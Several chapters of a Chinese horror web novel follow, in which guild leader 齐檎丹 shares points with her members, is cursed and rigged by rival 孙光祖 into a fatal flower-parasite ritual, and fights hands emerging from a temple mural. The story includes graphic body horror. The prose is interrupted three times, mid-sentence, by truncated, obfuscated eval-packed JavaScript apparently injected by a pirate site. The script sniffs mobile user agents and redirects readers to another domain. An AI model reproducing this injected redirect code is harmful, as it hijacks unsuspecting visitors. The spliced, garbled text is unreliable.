庆贺声一声叠着一声,在阵阵羡慕的感慨中,欢乐热闹的气氛洋溢整个花婆庙。似乎被花婆赐花,是什么天大的喜事。 但是,站得离神殿最近的齐檎丹他们,明明白白地听见,里头响起了痛苦的哀嚎。那声音持续不断,久久不绝。起初,是一声比一声高亢凄厉的哭嚷,叫到后来,那声音逐渐变得低哑,最后脱了力,连这点嘶哑的叫声也没了。 像是经历着持续而漫长的酷刑。 等到哀嚎声彻底断绝,才由假花婆做主,打开了大殿的门。 门打开的同时,血腥味混合着花香味,冲天而起。 香! 太香了! 甜腻到糜烂的芬芳仿佛凝成实质,纱幔一样被风吹拂着,笼罩在整座花婆庙上空。 香味迅速扩散,镇上的信徒无不被这香气勾得失了神,情不自禁.地大口吮.吸着这甘美的气息。为了将感知集中在鼻腔上,更好地感受这股花香,许多人甚至闭起眼睛,甘愿自断视觉。 他们看不见,也无心去看,眼前这摄魂夺魄的花香飘散出的地方,究竟是怎样的一幅场景。 抽到花签的那个人,已仰面倒在供桌上。 供桌上原先摆放的鸡鸭鱼肉,则被扫落一地。 这些死物,惊恐地瞪着还没被刀刃剜去的眼睛,齐齐抬头上望。而位于它们上方的供桌上,那考察员的腹部像足月的孕妇一样,高高隆起。很快,肚皮就如吹气球般,膨胀到了令人难以想象的程度。 涨大得惊人的肚子上,每一寸皮肤被撑开撑薄,薄到透明,让人能轻而易举地看到皮下淡青色的经络,以及里面兜着的五脏六腑。 然而,透过他的肚子,不仅能看到血管与内脏—— 还能看见盘根错节的枝条。 那些枝条疯狂蠕动,飞速增殖,挤.压着内脏,将那人鼓胀的腹部,顶成各种怪异的形状。最后,枝条终于在皮肤的最薄弱处,探索到了出路,紧接着,所有枝条尖端集中于一处,猛然一顶。 腹部破裂开的那一霎,他的血肉像花.瓣一样一层层绽开。 演绎出一场绚丽的凋亡。 惜花古镇里千人争抢的“赐花”,竟然是这样一场要人命的惨剧! 而真正的花苞,正沐浴着恣肆飞溅的血雾,争先恐后地从他腹部的裂口中钻出。像吸血的水蛭,又像细长的寄生虫。 花苞一挤出温暖的人体,便纷纷盛放,吐出嫩蕊,在风里无所顾忌的招摇。这些花,同齐檎丹在花婆神像脚下看到的别无二致,从花.瓣到花.蕊,都是吃饱了人的血肉而得到的猩红。 花影摇曳,淡红色粉末随风散出。空气里的花香也在这一瞬间,达到了顶峰。 底下众人神情迷醉。 看到这样景象的一瞬间,齐檎丹头皮上猛然炸开芒刺。 发生在眼前的这一幕,像极了大型祭祀。供桌是祭坛,活人以及他肚子里开出的繁花是祭品,等待祈福的人们,是聚集在祭坛周围的虔诚信徒……这,才是整个祈福仪式里,最重要的一环。 这种悚然的震撼感直击灵魂,齐檎丹刚想拿起相机拍摄,却在粉末飘近之际,猛然反应过来:“是花粉,快捂住口鼻。” 在她的催促下,不知名公会全员立即警戒。唯有邱勇慢了半拍,不小心吸进了少许花粉。 即便只是这么微不足道的一点,那花粉的致幻作用,也立刻体现在了邱勇的身上。邱义眼底的清明消失了,神情转瞬间变得恍惚。他看向花婆神像,表情上的崇敬和迷醉,逐渐与旁边的信徒镇民趋同:“赐花,我也想要赐花……” 好在哥哥邱义及时给他划了一刀,才总算用疼痛,把他从这种诡异的状态中唤醒。 邱勇一回过神来,就被吓得够呛。 他看到供桌上垂下去的手。 那只手惨白发青,任凭这些花的根茎在腹腔内翻搅,搅碎了器官,那只手也没再动过。烂漫绽放的繁花后,是破裂凹陷的肚皮,流出的肠子,俱已停止的心跳和呼吸。 “最后那个考察员,也死了。”等裹挟花粉的那股风过去后,邱勇低声说,“在花开的时候。” 花的寄生榨干了体内的养分,那人死得惨烈,又必然。 至此,整组被选中的人全军覆没。 无一生还。 不止邱勇,齐檎丹也瞥见了供桌上干瘪的人类尸体,但她的目光无意过多逗留。她来不及感慨,因为不知名公会已同样陷入危机。 系统面板里的公会功能,正在向她发出警示。会员名字闪烁出危急的血光,几度由黑转红,名字后跟随的括号内容,也发生了变化。 【同副本公会成员:苏意虹(危急)、邱义(危急)、邱勇(危急)】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252421|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>包括她在内的不知名公会全员,生命剩余值都已所剩无几。 并且,即将耗尽。 要是没处理好这个问题,下一个全军覆没的,就是他们自己。 在不知名公会的生死存亡面前,齐檎丹打了个激灵,立刻重拾起她在拿到解锁新剧情的400积分后,因为被惨叫声打断,而没有继续做的事情。 她赶紧点开了兑换生命剩余值的页面,但只拿了其中一部分积分,出来兑换。齐檎丹自己生命剩余值消耗完的危机,才稍有缓解,她就把剩下的积分全部丢进了公会库房里,把会员兑换这些积分所需的贡献点,设置成最低的零。 刚好,邱义、邱勇兄弟正为了飘红的生命剩余值而着急焦虑,就看到公会库房里,多了出了一批可以随意取用的积分。 对于这批积分,他们起初是有些犹豫怀疑,不敢使用的。 ——毕竟,之前他们兄弟没有选择进庙为探索剧情出力,他们原本以为,这些积分里,没有他们的份额。 然而,当他们试探着点下兑换键,却真真切切地把这些积分拿到手,换成了生命剩余值时,邱氏兄弟在感激之余,忽然感受到了一股巨大的不真实感。 齐檎丹为什么救他们?只因为是公会会员,就能得到帮助吗?哪怕他们还没出多少力? 邱氏兄弟困惑了。 他们不是没设想过,有朝一日会得到公会帮助。 但,那是在他们两人加入公会之前,兄弟俩对公会这个机制,还抱有幻想的时候。 经历了上一个公会的残酷压榨后,兄弟俩原以为,他们这份幻想早已被毒打得粉碎了,而此刻公会库房里无偿取用的积分,却让他们终于确信,齐檎丹这个公会会长,是真的会为公会的成员考虑。 由于只有300积分奖励,却要分给四个人,每人分到手的积分数量都不多。 但由于每人取用时,都极其谨慎节俭,等到不知名公会里的人全都拿过一次积分后,库房中,居然还剩了一点备用的下来。靠着齐檎丹分出的积分,所有人得以延长生命,有惊无险地度过了第一个危险期。 齐檎丹捐出积分的行为,不仅挽救了不知名公会,也震惊了她直播间里的观众。 会长搜刮积分的事儿,在副本世界里屡见不鲜,但反过来给积分的会长,有谁见过? 这真是大姑娘上轿头一回。 怎么看,怎么新鲜。 “我没看错吧?齐檎丹就这么水灵灵地,把积分都捐出去了?” “她自己手头里没积分了,那她待会儿怎么办?这是什么圣母行为?看不明白。” “她救苏意虹我理解,毕竟她俩是朋友。但那邱义、邱勇只是刚加入不知名公会的普通会员,他们也值得救吗?” “要是换我们会长在这里,别说是普通会员了,就连朋友,都别想白得他一点积分。连我们得到的道具和积分奖励,都得上交给他……” 直播间里七嘴八舌地议论起来,从齐檎丹这堪称散财童女的行为,聊到自己公会吝啬的会长,观众们的热情出乎意料地高涨,连齐檎丹直播间里的人数,都增加了一些。 但不管话题怎么变换,所有观众心中,都不约而同地浮现出一个荒谬的猜想。 齐檎丹难不成,是把系统设置公会的初衷当真了吧? 副本里,可是一个把利己之心放大到最大的地方,哪怕一积分的差距,都足以决定谁死谁活。每个副本里的资源,又只有那么一点儿,多的是为抢积分和道具拼得你死我活的人。 可在这样严酷的环境下,齐檎丹竟然还舍弃了自身的利益,去帮助她的会员。这太罕见了。 观众里,那些有经验的考察员见了,连连摇头。 让给别人,自己就没有了。 齐檎丹这样下去,真的不会自取灭亡吗? 79. 骨肉繁花6 其实,承诺会帮助会员这样漂亮的大话,同样身为考察员的观众们,不是没有听过。 哪一个公会在急着招揽人的时候,没有说过类似的话?然而,这些话不过是那些会长上下嘴皮子一碰,便随意开出的一张空头支票,哄骗人用的,从来没有真正落实到地面上过。 直播间的这波观众里,既有齐檎丹的支持者,也有反对者,对齐檎丹的评价褒贬不一。 但不管是哪种人,心里都忍不住酸溜溜地想——不为自己,反倒为公会会员考虑的会长,命是不是都会不太长?要不然,怎么没有会长这么做? 好气!他们也想有一个这么好的会长啊。 同为公会的会长,有人被夸,就有人挨骂。 孙光祖就属于挨骂的那一个。 孙光祖低头猛然打了个喷嚏,脸色难看得不得了。不是因为打喷嚏时,还要艰难维持着,他那身包装出来的精英外皮,而是因为他直播间掉了一部分观众。 观众数量下降,他们打赏的积分也跟着下降。这带来的失控感突如其来,隐藏在血管里左突右冲,激得孙光祖焦躁不已。 观众怎么会走掉呢?他代表的可是王座公会啊。 这些考察员不是都想进王座公会吗?怎么不像之前那样巴巴地过来给他打赏,想讨好他呢?孙光祖想不通,但不耽误他心里烦。 孙光祖脾气不好,心一烦,嘴上便想骂人。 现下,旁边的噪音就触了他的霉头。 哪怕那声音其实很小。 “在那儿窸窸窣窣地嘀咕什么呢?”孙光祖粗哑着嗓子,冲边上正交头接耳的两个王座公会会员大吼。正因为明知他骂的,是他的会员,孙光祖才更加肆无忌惮。 那两个会员被他吼得一愣,只得回答:“会长,就在刚刚,我们几个的直播间观众数量,突然都减少了一些。” 虽然数量不多,还在可接受的范围内,但是王座公会里这么多骨干成员集体失去观众的情况,这么多年来,也就出现过这一次。这一次,甚至连王座公会的会长孙光祖也未能幸免。 孙光祖罕见地产生了一丝危机感。 流失的这部分观众,该不会都跑到齐檎丹的直播间里去了吧? 丫的!这群没眼光的狗东西! 孙光祖骂骂咧咧,宣泄情绪。忽地,他扭头看向刚从齐檎丹那里回来,却无功而返的独眼龙:“还没把齐檎丹的相机毁掉吗?我刚刚明明看到,她把相机都拿出来了。” “对不起,我办事不力。”独眼龙道歉,“齐檎丹防得很紧,这次副本进行到现在,齐檎丹只在我们面前拿出过这一次相机。而且并没有用那个相机拍照。在那么短的时间里,不管是偷是抢,我们都很难动手。” 孙光祖本来就拉得老长的脸,更阴沉了。 王座公会的其他会员,没一个敢这时候上前,生怕将其激怒。 唯有那个长着狞猫眼睛的会员,硬着头皮凑过去汇报:“孙会长,我们要赶在他们之前,先完成第一个任务吗?” 王座公会为此行带足了道具,里面有不少是能够直接降低概率的。抽签说到底是概率问题,他们要是想糊弄过去,只完成祈福但不抽中花签是很容易的事。 “不必了,我们等齐檎丹他们一起进去。”孙光祖打开系统背包,翻找出了最适合的道具。 孙光祖气愤齐檎丹坏了公会的规矩,还对他毫无敬畏之心,更气愤齐檎丹分走了一部分本属于他们王座公会的关注。 齐檎丹实力再怎么强劲,脑子再怎么好使,她都只是一个资历浅薄的新人。新人不知天高地厚也就罢了,居然还胆敢试图与他平起平坐,从王座公会手里夺人夺积分。 她凭什么?她根本不配! 乌鸦怪异的啼鸣,从花婆庙墙外的枯枝上掠过。孙光祖扬起眉毛,从系统背包中,取出他早已准备好的道具。 那道具,被包裹在一团幽暗不详的黑气里,宛如荒郊野坟处,一簇不安分的鬼火,把孙光祖那张满脸横丝肉的脸,衬托得格外狞厉可畏。 原本站得远远的,无意掺和进他们这些事里的顾斩风,也皱起眉头,投来目光。 他感受到了诅咒的气息。 孙会长盯着人群里,已然度过生命剩余值消耗危机的齐檎丹,瞳孔里漫起阴寒的光。 孙光祖缓慢地张开了拿着道具的手指,充满恶意的嘴角,随着道具的使用而上挑:“既然她那么喜欢鬼怪,那就让副本里的鬼怪们,也‘喜欢’她吧。” . 当黑气刺进身体里的那一霎,齐檎丹先听到了苏意虹担忧的惊叫声,才感觉到疼。 比起疼,那更像是某种深入骨髓的阴冷。 蛀虫一样啃噬骨髓。 齐檎丹似有所感,她心下一沉,骤地拉起左边衣袖。只见衣袖下,她左臂的皮肤表层,正随着阴冷黑气的蔓延扩散,浮现出扭曲的黑色符文。 这些黑色的符文,齐檎丹认不出也看不懂,却感受到了里面怨毒的气息。 是诅咒。 她在顾斩风的过往经历里,也听说过诅咒。 顾斩风身上的诅咒,是连系统的治愈都除不掉的恶毒咒语,是导致他身上生长出蛇鳞的元凶首恶。 相比较之下,齐檎丹身上这些符文所释放的怨念,却没有她在顾斩风身边时感受到的,那么强烈。符文的颜色,也不像顾斩风描述的那样幽暗,而且这黑色还在渐渐消退,似乎只能持续有限的时间。 跟顾斩风的诅咒比起来,这冲着她来的诅咒,好像有些小儿科。 但,只是“好像”。 在这样的E级副本里对付齐檎丹,这样的诅咒已经足够。 这个E级副本,终究不是她按照考察员等级,被系统自然匹配上的,而是被王座公会恶意动过手脚的。在这副本里,不说副本BOSS了,随便一个鬼怪,都有着远超过她的攻击力。 这诅咒的作用不管是让她倒霉、受伤,还是降低她应对副本任务的能力,对齐檎丹,都会产生很大影响。 孙光祖为什么偏偏要选在这个时候,对她使用诅咒道具? 很快,齐檎丹获得了答案。 假花婆已经叫人收拾完一片狼藉的神殿,在挑第二批进神殿祈福的人了。 神殿外雕琢着繁花的青石台阶上,假花婆模仿着年迈老人的步态,顺着阶梯,一摇一晃地走了下来。她将目光藏在庞大的头套后,落进人群之中逡巡,几乎是一瞬间,就看向了齐檎丹的位置。 “这第二批进去祈福的人,就选你们几个吧。”假花婆点了点不知名公会的人数,“哎呦,还差几人,有谁也想做第二批祈福的?” “您看我们几个,可以吗?” 赶在疯狂的信徒扑上来争抢名额之前,王座公会的人先就位了。 齐檎丹亲眼看着,王座公会的对其他信徒使用了静默道具,等到周围所有人在道具作用下被迫紧闭双唇后,他们的会长孙光祖才在一片鸦雀无声中,抬着下巴屈尊开口:“我们不介意和那几只蝼蚁一起。” 孙光祖故意用了负面色彩浓重的“蝼蚁”一词,来代指齐檎丹和她的不知名公会成员。话语里面的羞辱贬损意味,像尖刺一样外露着,毫无掩饰之意。 邱勇被气得脖颈上青筋暴起。 不等邱勇发怒,假花婆先语气凉凉地盯着孙光祖,道:“花婆的信徒生而平等,没有强弱高下之分。” 孙光祖挨了这不轻不重的一句怼,虽然感觉面子上过不去,但看在假花婆是副本里重要角色的前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283274|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提下,孙光祖好歹还是忍住了暴脾气,把到嘴边的脏话换成了干巴巴的命令:“既然我们这么决定了,那就带我们一起进去吧。” 假花婆静了片刻,最终照做了。 她转过身,带他们上了台阶,往神殿里走。 身后,不知名公会和王座公会的人,自觉分成泾渭分明的两波。 齐檎丹一边跟随着假花婆的步伐拾级而上,一边争分夺秒地复习着,她经过先前的观察得到的祈福仪式流程。 她大概看明白了,向花婆祈福的人,一共需要经过两个特殊的仪式。 两个仪式都平安度过,则生。 反之则死。 第一轮是跪拜仪式,总时长约一分钟。在这段时间里,仪式会关门进行。只要不试图逃脱,不与主持仪式的假花婆作对,应该就不会达成死亡条件。 最危险的,是第一轮祈祷结束后的抽签仪式。在抽签中抽到花签的那个人,需要被独自留下来,关在神殿里,等待花婆的“赐花”。 “赐花”说得好听,其实就是沦为怪花的孕育容器。 一旦抽中花签,就会被花寄生。 基本是死路一条。 为了避免有人抽中花签,苏意虹赶忙打字,在不知名公会的群里狂发提醒:“我刚刚看见了,那支花签的最顶端有一个很小的红点,可能是画师在签上作画时,不小心滴上去的颜料。” 他们只要在摇晃签筒的时候,注意避开有红点的签子,应该就不会中签。 . 从台阶下到神殿前,只不过几步距离,苏意虹才把提醒说完,他们人已经进到了神殿里。 假花婆点起三根高香,插.进神像前的香炉里。 而后,又拜了三拜。 逸散开来的青烟迷蒙飘渺,模糊了花婆神像脚下染血的花团锦簇。 身后的大门闭合了,面前血红硕大的花朵被笼在烟气的吹拂下,则仿佛徐徐活动了起来,尽情舒展着枝条,展开了花瓣。 吸收前一组人的教训后,他们的跪拜祈福环节顺利了很多,那无数双手也没从壁画里伸出。假花婆领着众人在神像前的蒲团上跪下,她自己却站起来,独自走到了角落里:“请诸位闭眼,静待花婆显灵。” 在最危险的神殿里闭眼,意味着对环境多了一分不确定性。但出于不违背规则的考虑,齐檎丹还是把眼睛闭上了。 闭眼时,她隐约听见前方传来窸窣轻声。 让她联想到虫蚁爬行。 但事实上,正爬动着的不是虫子也不是蚂蚁,而是花婆神像的眼睛。 花婆神像的眼睛,竟是可以活动的。似乎无形中被一股力量提拉着向上一拽,遮住大半瞳仁的两片眼皮,登时翻了上去,露出十来只细长的眼。 这十来只眼睛跟黑壳虫一样,呼啦啦地一窝蜂冲.刺出眼眶,在神像沟.壑纵横的脸上爬来爬去,模拟花朵最外层的花瓣,排列成一个非常掉SAN的圆圈,360度无死角地打量着跪在神前的考察员们。 十来颗眼珠子一会儿挪过来,一会儿挪过去,漆黑的瞳孔里全是筛选贡品的挑剔。 这个一身汗臭味,养育出来的花苞要是也染上臭气就糟糕了;那个皮糙肉厚,等花苞成形要破体而出时,恐怕不容易;另外那一个…… 这些眼睛挑挑拣拣, 最终,选出了一个满意的人选。 这个贡品的质量真是不错啊,身上还有它喜欢的气息。 对假花婆暗示完人选是谁后,这些黑压压的眼睛,便满意地钻回了神像的眼皮底下。 直到神像重新闭眼时,这些眼睛还带着对未来的美好幻想——等会儿抽完签后,用这个贡品的血肉浇灌出的花朵,一定会开得最美、最艳、最令人心动。 80. 骨肉繁花7 由于祈福过程中不被允许睁眼,齐檎丹并不知晓,近在眼前的神像之上,究竟展现着怎样诡异的一幕。 但,几乎将齐檎丹左手小臂冻僵的蚀骨阴寒,却催发出不安,提醒着她,在她面前发生的,很可能不是什么好事。而这时候无法睁眼,对危机无法知情,无疑成为了一种折磨人的酷刑。 幸好,一分钟时间弹指即过。 睁眼后,齐檎丹第一时间转过头,检查了不知名公会里四个会员的状况。会员并未出现伤亡的好消息,让她稍微松了口气。 但她这口气还没喘匀,签筒就被假花婆给塞到了眼皮子底下。轮到她开始抽签了。 最危险的环节,到了。 齐檎丹粗略瞟了一眼。那竹筒里的签子上,确有一根的最顶端,沾了一小点不起眼的红色颜料。 按照苏意虹跟她描述过的特征,这一根有红点的签子,应该就是谁抽到谁丧命的花签。 “请尽快抽签,别让花婆久等。”发觉齐檎丹还没接过签筒,假花婆似乎有些不耐。她低头俯视着齐檎丹,用头套上那两只看不出实际表情的眼睛,紧盯着齐檎丹,阴沉沉地发起催促。 箭在弦上,由不得拖延和退缩。齐檎丹抱起签筒,深深地吸了一口气,尽可能地忽略空气浓得腻人的花香,让灌入肺叶的空气,安抚紧绷的神经。 随后,她手上缓缓晃动起来,眼眸一刻不离那些签的位置变换。 “哗——” 她第一下晃得很轻。 签筒里的竹签只是稍微被打乱了位置,没发生多少变化。 稍微露尖的签有是有,但是只比其他竹签只高几毫米,几乎可以忽略不计。这样下去,即便再给她摇十分钟,也出不来结果,反而会招致假花婆和神殿外信众的不满。 齐檎丹的求签速度必须加快。她手腕加大力度,将签筒接连摇晃了好几下。 “哗啦啦”的声音,在筒中响个不停。 齐檎丹的心也越跳越快。 那根沾到红色的签,好似特别青睐她。在齐檎丹摇晃抽签过程中,这根特殊的竹签好几次有冒尖的趋势。好在齐檎丹早有预料,这根签每次险些掉出,都被她以及时改换摇晃角度的方式,小心翼翼地逼回。 假花婆在蒲团边来回踱步,显然耐心即将告罄。齐檎丹横下一条心,十指用力扣住签筒,最后大力摇晃了一下。 “哗啦——” 竹片削成的签很薄,数十根一齐撞击在签桶内部时,发出的嘈杂声音,却像极了海啸前的浪涌。 孰生孰死,在此一举! 当签筒倾斜到最大角度时,一根竹签被惯性甩出,“啪”一声落地。 一锤定音。 齐檎丹马上低头去瞧。 竹签的最顶端没有红点,签上也没生出花纹。 好险好险,这一回大概算是逃过去了,多亏了苏意虹的提醒。齐檎丹心上落下一块大石。她从蒲团上起身,如释重负地朝门外走去。 不料,齐檎丹刚扭头转身,连脚掌都还没踏出门槛,就被假花婆拔高了尖利的声调,喊了回来:“过来,你再看看。” 没中签就是没中签,这有什么好看的? 齐檎丹犹疑地拧身。 紧接着,令人难以置信的一幕,在她眼前发生了。落在地上那根普通的签,突然变戏法一样生出了花纹。血红色的花朵纹样攀在竹签之上,顷刻间将空无一物的普通签,变成了能致人死命的花签。 就连那颗极具辨识度的红点,也在普通签变为花签之后,出现在了同样的位置。 这是怎么回事?! 她竟不知,凭本事抽到的普通签,还能被这样反悔。 齐檎丹眸中震荡不定。震惊之余分出的一缕余光,却瞥见身边的孙光祖嘴角上弯,露出奸计得逞的微笑。 果然,是他搞的鬼! 齐檎丹旋即明白了,这奸计的始作俑者。 然而,这时候才反应过来被人摆了一道,已经太晚了。 完成任务的假花婆欢天喜地地遣散了没中签的考察员,把抽中花签的齐檎丹,单独关进了神殿当中。 沉重的关门落锁声后,神殿里失去了来自门外的光源。空荡荡的神殿上一片漆黑,只有几盏将暗未暗的烛火沉默寡言地燃烧着,下方的来光,将神台上原本慈眉善目的花婆神像,映照得恰似恶鬼修罗。 外头假花婆宣布抽签情况的话语间隙,齐檎丹透过窗纸,看见乌鸦成群结队地到来,聚集在花婆庙周围。灰黑色的翅膀,连成一片低空的乌云,朝齐檎丹覆压而下。 只等仪式一结束,鸦群便会俯冲下来,挑拣亡者破烂的尸首,大快朵颐。 乌鸦食腐。 自古预兆着死亡。 然而,齐檎丹不打算轻易言弃。 她要是死了,不知名公会怎么办?为了公会和公会里的会员,她必须活着。 齐檎丹不怕无路可走。路都是人走出来的,假如她面前有且仅有一条死路可走,那她就开辟出新的一条,属于自己的活路。 齐檎丹取出相机抱在手里。摸着熟悉的摄影器材,她心里镇定了几分,思维也更加清晰。在上一轮赐花仪式里,齐檎丹掐过表,发现那人惨叫声,是在一分钟后才响起来的。说明花婆从降临到动手,至少需要一分钟的时长。 这一分钟,是她唯一能够利用的时间。 一分钟的时间说来很短,因此齐檎丹只有一次筹备的机会。 她必须一击命中。 但要走出新的生路,得先有新的思路。齐檎丹需要尽快想清楚从哪里入手。 而这,正是最难的一点。 齐檎丹抿了下唇。既然监督仪式依规进行的假花婆不在,这惜花镇里供奉的真花婆,又是个想要人命的狗东西,齐檎丹索性不再假装虔诚了。她改跪为坐,找到最舒服的姿势,坐在蒲团上面对着壁画。 除了神像,这间神殿上最重要的,就是那能伸出手抓人的壁画。 这壁画上画着的,也是花。只是,花的大小被夸张化了。只一朵,就占据了将近半面墙。 除了被夸大得出人意料,这壁画上的花实在是挑不出错,一朵朵画得鲜妍明丽。刚绽放时沾满晨露的花瓣,嫩生生的花苞,还在风里娇弱颤.动的花蕊……每一个细节都经过精雕细琢,栩栩如生。 一根根被柔瓣层层包裹的花蕊,被画师描绘得尤其细致。每根花蕊的末端都有五个分叉,像极了人的五根手指。 等等,其他花的花蕊也是长这样的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它确信它没有出错。 然而,这只手刚要发力拖拽,突然感到掌心传来一阵剧痛。 剧痛中,那上下两截手掌竟是分了家,断口处连筋带骨,被一分为二。而中间被砍断的地方,居然是它攥紧齐檎丹肩头的手掌心。 破壁而出的那只手臂懵了。 怎么?这年头,连肩膀都能伤人了? 伤了那壁画手臂的齐檎丹,依然安静地跪坐在神前祈祷,仿佛置身事外。至此,那只手臂终于迟钝地感觉出了不对。 在手掌断裂口汩汩淌出的鲜血中,花婆神像前晕开的烛光,开始荡漾、扭曲。 空间扭曲的涟漪,旋即扩散开来。 幻象退去。 神像前跪姿的齐檎丹消失了。自壁画中而来的手臂一惊,用它那不存在的眼睛,“看”向了它手掌原本抓住的位置。 银亮的铁刃映着烛火。 寒光凛然。 它抓到的,哪里是齐檎丹的肩头,赫然是把锋利的长刀! 81. 骨肉繁花8 齐檎丹右手执刀,左手上端着的宝珠华光闪耀,褐发间的挂耳染无风自动。那流转的宝光比香烛更亮,照得她耳畔那抹浆果红艳烈万分。 方才,便是创世宝珠制造出的幻觉,成功地骗过了这只来自壁画里的怪手。 惜花古镇上这个花婆庙,是个假神殿,真地狱。 齐檎丹站在地狱之中。 持刀怒目。 好似一把野火,拼尽全力地燃烧,只为将这个择人而噬的假神殿焚烧殆尽。 【检测到鬼怪气息,道具“石沛妮的刀意”已触发效果。】 【“愤怒的长刀”杀伤力增强。】 齐檎丹收起创世宝珠,刀身一振。“石沛妮的刀意”滋生出的紫气,瞬间包裹住整个刀刃。 这紫气对于寻常人来说,不过是一种别致些的色彩,充其量只有装饰性。但鬼怪所感受到的,却不是如此。 那凛然的紫气只是存在,已彰显出不可侵犯的威慑力。像阳光里的紫外线。 对鬼尤其灼烫。 那怪手往后挪了一挪,似乎在评估对上这把刀有几成胜算。 但齐檎丹借用幻象的巧妙做法,显然让怪手的胜算低了不止一成。怪手的攻击性主要来自两个方面,一是力量恐怖的手指,二是像蛇一样柔韧细长的手臂。被砍没了五根手指后,这只手的战斗力,已经大打折扣。 迎战刀刃,还是逃?怪手顷刻选择了后者。 它要逃回去搬救兵。 怪手出其不意地往后缩去,意欲退回那壁画之中。怎料,齐檎丹的动作比它更快。 齐檎丹以手带刀,用刀身靠近长长的手臂,继而一缠一绞,握着刀的手腕顺势,在虚空中接连转了几个圈。银光搅动间,从壁画里出来的,那软得没骨头的手臂,就这么跟麻绳似的,被迫缠在了刀上。 这是齐檎丹第一次使用,被“石沛妮的刀意”加持后的长刀。感觉出乎预料的顺手。 确认缠紧之后,齐檎丹猛然用力一拉。 怪手赫然被拽出一截。 她感受到,壁画中传来与她反方向的力度,在排斥她,对抗她。 这场拉锯战,像是在拽一条上钩的大鱼。齐檎丹在再一次猝然发力的时候,看到了她想见到的东西——她从这条手臂连着墙体的地方,拽出了半个露出墙面的肩膀。 这些怪手,居然是人形鬼怪的一部分。 而露出真容的这半个肩膀上,还套着短袖,是并不鲜见的人类穿着。 齐檎丹打了个冷噤,她想起之前隔着窗户纸看到的,那些被撕成碎片后拽进墙里的尸块。莫非,这千千万万化作花蕊的怪手,原本都是被吞进墙体的可怜人? 毛骨悚然的冷意,顺着尾椎骨攀缘而上。 这么多花蕊,这么多只手,这面壁画得是吞噬了多少人? 但怪手毕竟是E级副本里的鬼怪,耐力终归还是略胜一筹。齐檎丹一分神,就被那怪手抓住机会,趁机缩回了壁画之中。随之而来的,是一场针对齐檎丹而来的,铺天盖地的围攻。 满屋壁画中成千上百的花蕊,化作成千上百双手,一齐朝她扑来。 这些手密密麻麻,难缠得很。 齐檎丹可没忘了,上一次,好些人都是死在这些手里的。 那些考察员的等级都比她高,却仍然在这些手的合作下败下阵来。由此可见,跟这么多双怪手硬碰硬不是办法,她还没有这么强劲的实力。可惜,这些手现如今对创世宝珠的幻境有了警惕,也看到了齐檎丹真实所处的方位。 相同的用法,骗不了这些手第二次。 齐檎丹只能另想办法。 她敏锐地向后退去,趁着艰难躲闪开这些手的空隙,摸出照鬼相机,眼疾手快地对着张牙舞爪的怪手拍了一张。 那稳定发挥拍出的S级照片道具,被齐檎丹现拍现用。以复刻出的100%实力,与壁画中出来的千手对打。 两边都是长得一模一样的手,双方本该势均力敌。 但,这仅仅是权宜之计。 因为照片记录下的手是有限的,但是从壁画里伸出来的手,却仿佛无穷无尽。 齐檎丹控制着道具复刻出的怪手抵御,疲于应对,直到倏尔香烛俱暗,齐檎丹才意识到,她已经拖够了一分钟的时长。所谓的“花婆”,也到了该降临神殿“赐花”的时候了。 齐檎丹没看见花婆显灵。 她只见到神像前,逐渐浮现出一个黑色的虚影。 那似乎是个人影,但是比佝偻着背的花婆雕像更高,手里捧着些诡异的花籽。 然而,似乎是因为发现,齐檎丹还没有被控制住,那个黑影的浮现暂停了下来,不再继续凝实。而那群怪手,却像是受到某种感召一般,进攻得越发猛烈了。 黑影没有实现任何人的心愿,却赐给了壁画里的怪手再生的能力。哪怕被砍断的残废的手,只要进了壁画里,就能在很短的时间内修复如初,然后再一次发起进攻。砍完一只,再生一只;拦住一阵,还有一阵…… 无穷无尽,无休无止。 要不是这些怪手打定主意,只想活捉齐檎丹,齐檎丹估计,她已经死无葬身之地了。 为抵挡不断想绕到她身后偷袭的怪手。齐檎丹艰难挥舞着长刀,迅速往一面只有窗户没有壁画的墙边退。 可由于神殿内的窗户,不只是上了锁,还被全部焊死,窗框之间的空隙又极小。她这样做,虽然能够减少需要注意应对攻击的方向,却也将自身逼到了退无可退的死路。 齐檎丹后背已经抵上窗棂了,一窗之隔,即是生与死的天堑。她只能拼死一…… 肩胛骨靠的位置突然松动了一下。 她感受到凉意。 是风。 这神殿里的窗子,难道不是都被焊死、锁上了吗?怎么会有风? 齐檎丹决定攥住这一线微茫的希望。她咬紧后槽牙狠命挥出一刀,一次性砍掉了大部分围在身边的怪手,终于,在重重围攻下,为自己争取到了一秒钟查看窗户的时间。 她伸手探向身后那块松动的位置,果然感受到了钻进的风——这扇窗户被撬开了。被撬出的狭长缝隙里,塞进来一根绳索。 是谁?谁在帮她? 齐檎丹警惕心乍起,却被窗外人的声音抚平。 “快快快,从这儿走!我们拉你出去。”从这招呼声里,齐檎丹认出了苏意虹的嗓音。 